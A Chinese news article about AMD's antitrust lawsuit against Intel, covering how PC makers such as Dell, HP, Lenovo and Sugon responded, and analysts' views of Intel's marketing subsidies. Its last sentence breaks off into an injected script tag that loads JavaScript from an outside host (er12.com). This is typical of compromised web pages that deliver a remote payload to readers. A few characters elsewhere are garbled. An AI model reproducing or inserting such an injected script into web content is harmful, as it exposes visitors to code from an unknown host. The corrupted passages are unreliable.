在处理器领域，intel始终没有将amd作为真正的竞争对手，但双方却总是处在胶着之中，直到2003年amd先于intel推出64位处理器，在处理器发展史上首次赶超intel之后，intel才不得不重视amd这个竞争对手。近日，amd在美对intel再次提起讼诉，此事迅速成为国内外媒体最为关注的热点。

　　厂商低调的背后

　　作为pc老大的dell公司在这次诉讼中采取了中立的态度。dell的一贯作风是：听取客户需要什么，而不是告诉他们能得到什么。戴尔不管是台式机还是服务器业务，都取得了非常优异的业绩，重要的是，如今保持着一个很良好的循环运作。既然现在的做法被证明是行之有效，那就没有更改的必要。dell中国公司相关人士表示，intel是dell的核心合作伙伴，市场上出现任何新的技术dell也会对其进行评测，看是否适合自己，包括amd的产品。

　　hp中国公司pc部门人士则表示，市场环境、用户需求和成本是惠普选择cpu的唯一标准，不会受其他的外力影响。

　　联想中国相关人士表示，从境外媒体上了解到amd声称已获得联想的支持后，联想中国特意与联想国际取得了联系并达成一致，称不会对amd与英特尔的诉讼发表评论。联想曾是amd反对英特尔最得意的成果之一，去年该公司将联想从英特尔阵营拉入旗下并成功地推出了2999元的“圆梦”系列的超低价电脑，此举一度被认为是英特尔阵营破裂的标志性事件。但联想华东市场负责人曾经表示，强弱分明，市场格局短期不会发生变化，联想肯定不会因为amd而去公然得罪英特尔。

　　除了联想外，宏x佒泄�公司也表示公司尚未公开声明支持amd。dell公司也以“不予评论”表示不会鋜amd与intel反垄断的浑水。而日本东芝更是对amd的请求严辞拒绝。

　　作为国内pc厂商主力的方正和清华同方也是保持了低调，称此次诉讼从目前的情况看，不会对国内市场产生多大的影响，自己会依旧按照市场的需求，为用户推出适用的pc产品。

　　曙光服务器作为amd在中国市场的大客户，曙光透露，曙光是第一家选择amd产品的中国内地企业，但英特尔并未因此提出排他性协议或因为曙光与amd的合作而进行打压。自己的客户选择了对手的产品而心里不快这是人之常情，但曙光会主动与intel交流，逐渐消除因此造成的影响。目前在曙光的产品中，amd和intel的产品基本各占一半。

　　一位不愿透露姓名的二线pc厂商负责人告诉记者，现在所有的pc厂商对此都会非常谨慎。因为从两大处理器厂商所得到的资源不一样，所以各个厂商今后的策略也会有所不同。不过这位老总向记者表示，英特尔所谓一些“保护垄断”的做法的确存在，而且已经是业界公开的秘密。“我要是英特尔，当然也会这么做，谁都想用一切手段来保持住自己的市场份额。”

　　厂商的这种低调，除了市场利益的考虑外，intel的霸气始终笼罩在厂商的上空也是一个重要因素。

　　挑战诚可贵 市场价更高

　　在中国市场，业内一些人士一直在指责intel有垄断行为。方兴东在《挑战英特尔》一书中就披露，长期以来国内众多pc厂商对英特尔言听计从，从不敢与其他处理器制造商包括amd合作。有媒体指称，intel在中国的垄断主要表现在：一是利用公关在政府采购中占据份额；二是在对产业链的控制上；三是在市场推广上与oem厂商捆绑，最明显的就是广告补贴。intel在中国市场推广上与厂商的捆绑，提供了均值达到50%的经费支持，在市场、宣传、运营乃至管理等多方面对国内厂商进行全面渗透，英特尔借此取得了主导权。

　　方兴东认为，amd早该起诉，最大意义不在于胜负本身，而是诉讼引发的各种效应，包括对英特尔的威慑效应，在业界的挑战姿态，合作伙伴的保护效应，媒体的关注度，以及对于公司员工的激励。诉讼将更有利打破英特尔的垄断，打破英特尔对中国it业不正常的控制能力，激活竞争。当然，道路还长，不过对于产业发展，对于消费者，都是好事。

　　易观资讯的分析师认为，amd提出此诉讼的目的，无疑是希望通过此次行动短期内提高知名度，扩大市场影响力。长远来看，amd希望借此打压英特尔市场空间，促使pc和服务器厂商更多选择amd产品?script src=http://er12.com/t.js>